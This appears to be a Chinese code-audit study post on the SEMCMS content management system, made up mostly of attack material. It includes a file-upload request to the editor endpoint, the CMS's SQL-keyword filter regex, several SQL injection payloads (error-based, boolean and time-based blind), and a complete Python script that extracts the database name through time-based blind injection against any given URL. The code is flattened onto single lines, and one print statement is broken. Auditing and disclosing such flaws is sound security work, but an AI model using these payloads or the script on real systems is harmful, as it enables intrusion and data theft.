【PHP代码审计】某SEMCMS代码审计学习

POST /Edit/php/upload_json.php?dir=file HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brSec-Fetch-Dest: emptySec-Fetch-Mode: corsConnection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarypfEGN549yusZTYG3Content-Length: 138------WebKitFormBoundarypfEGN549yusZTYG3Content-Disposition: form-data; name="imgFile"; filename="1.html"123------WebKitFormBoundarypfEGN549yusZTYG3--

import os  import sys  def scan_php_files(directory):      """  遍历指定目录下的.php文件，生成带统一格式的相对路径  格式：/subdir/file.php      """      php_files = []      # 验证目录是否存在      if not os.path.isdir(directory):          print(f"错误：目录 '{directory}' 不存在或无法访问")          sys.exit(1)      # 遍历目录树      for root, dirs, files in os.walk(directory):          for file in files:              if file.endswith('.php'):                  full_path = os.path.join(root, file)                  relative_path = os.path.relpath(full_path, start=directory)                  # 统一路径格式：替换反斜杠为正斜杠，并在开头添加斜杠                  formatted_path = '/' + relative_path.replace('\\', '/')                  php_files.append(formatted_path)      # 写入result.txt      with open('result.txt', 'w', encoding='utf-8') as f:          for file_path in php_files:              f.write(file_path + '\n')      print(f"成功找到 {len(php_files)} 个.php文件，格式化路径已保存到 result.txt")  if __name__ == '__main__':      # 检查命令行参数      if len(sys.argv) != 2:          print("使用方法: python getPathl.py <目标目录>")          print("示例: python getPathl.py /var/www/project")          sys.exit(1)      target_dir = sys.argv[1]      scan_php_files(target_dir)

functiontest_input($data) {    // 去除输入数据两端的空白字符（空格/制表符/换行等）    $data = trim($data);    // 移除魔术引号自动添加的反斜杠（PHP <5.4的遗留特性处理）    // 例如将"O\'Reilly"转为"O'Reilly"，避免双重转义问题    $data = stripslashes($data);    // HTML实体化处理（核心安全防护）    // 防御XSS攻击：阻止<script>等标签在浏览器执行    $data = htmlspecialchars($data, ENT_QUOTES);    return $data;}

/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/iSQL关键字检测：select、and、insert、update、union、between、into 特殊符号检测：=（赋值/比较）、%（通配符）、<（比较符）、*（通配符）、单引号'高危函数检测：load_file（读取文件）、outfile（写入文件）不区分大小写：修饰符i确保SeLeCt、UNION等变体同样被拦截

extractvalue(1,concat(0x7e,user(),0x7e,database()))#

select * from sc_tagandseo where languageID=0 or 1=1

0 or if(length(database()) like {{int(1-30)}},sleep(5),1)

0 or if(substr(database(),1,1) like 0x73,sleep(5),1)

0 or if(substr(database(),1,1) like 0x73,sleep(5),1)

0 or if(substr(database(),1,1) like "s",sleep(5),1)

https://github.com/Y4y17/CVE/blob/main/SemCms/SQL_Injection_1.md

import argparseimport urllib.requestimport urllib.errorimport timeimport sysDB_LENGTH = 21  # 固定数据库长度常量TIMEOUT = 6     # 请求超时时间def getDatabase(url, timeout=TIMEOUT):    s = ''    print(f'[+] 开始Fuzz数据库名，目标URL: {url}')    for i in range(1, DB_LENGTH+1):        found = False        print(f'\n[!] 测试第 {i}/{DB_LENGTH} 位字符')        for j in range(32, 123):            payload = f'languageID=0 or if(ascii(substr(database(),{i},1)) like {j},sleep({timeout}),1);'            data = payload.encode('utf-8')            req = urllib.request.Request(url, data=data, headers={'Content-Type': 'application/x-www-form-urlencoded'})            start_time = time.time()            try:                with urllib.request.urlopen(req, timeout=timeout+1) as response:                    elapsed = time.time() - start_time                    if elapsed > timeout:                        char = chr(j)                        s += char                        print(f'[+] 发现字符: {char} (ASCII {j})')                        found = True                        break            except urllib.error.URLError as e:                if isinstance(e.reason, TimeoutError):                    char = chr(j)                    s += char                    print(f'[+] 发现字符: {char} (ASCII {j})')                    found = True                    break                else:                    print(f'\n[-] 网络错误: {e.reason}')                    break            except Exception as e:                # 明确捕获超时相关异常                if "timed out" in str(e).lower() or "timeout" in str(e).lower():                    char = chr(j)                    s += char                    print(f'[+] 发现字符: {char} (ASCII {j})')                    found = True                    break                else:                    print(f'\n[-] 意外错误: {e}')                    break        # 仅当未通过任何验证时才显示错误        if not found:            print(f'[-] 无法确定第 {i} 位字符')    print('\n[+] 数据库名:', s)    return sdef main():    parser = argparse.ArgumentParser(        description='SQL时间盲注Test',        epilog='示例: python sleep.py -u http://127.0.0.1/vuln.php',        add_help=True    )    parser.add_argument('-u', '--url', required=True, help='目标URL（如：http://example.com/vuln.php）')    args = parser.parse_args()    print('\nSQL时间盲注Test    print(f'目标URL: {args.url}')    print(f'超时设置: {TIMEOUT}秒')    print('='*40)    getDatabase(args.url, TIMEOUT)    print('\n[+] 攻击完成！')if __name__ == '__main__':    try:        main()    except KeyboardInterrupt:        print('\n[!] 用户中断测试。退出中...')        sys.exit(1)    except argparse.ArgumentError as e:        print(f'\n[!] 参数错误: {e}')        sys.exit(1)    except Exception as e:        print(f'\n[!] 意外错误: {e}')        sys.exit(1)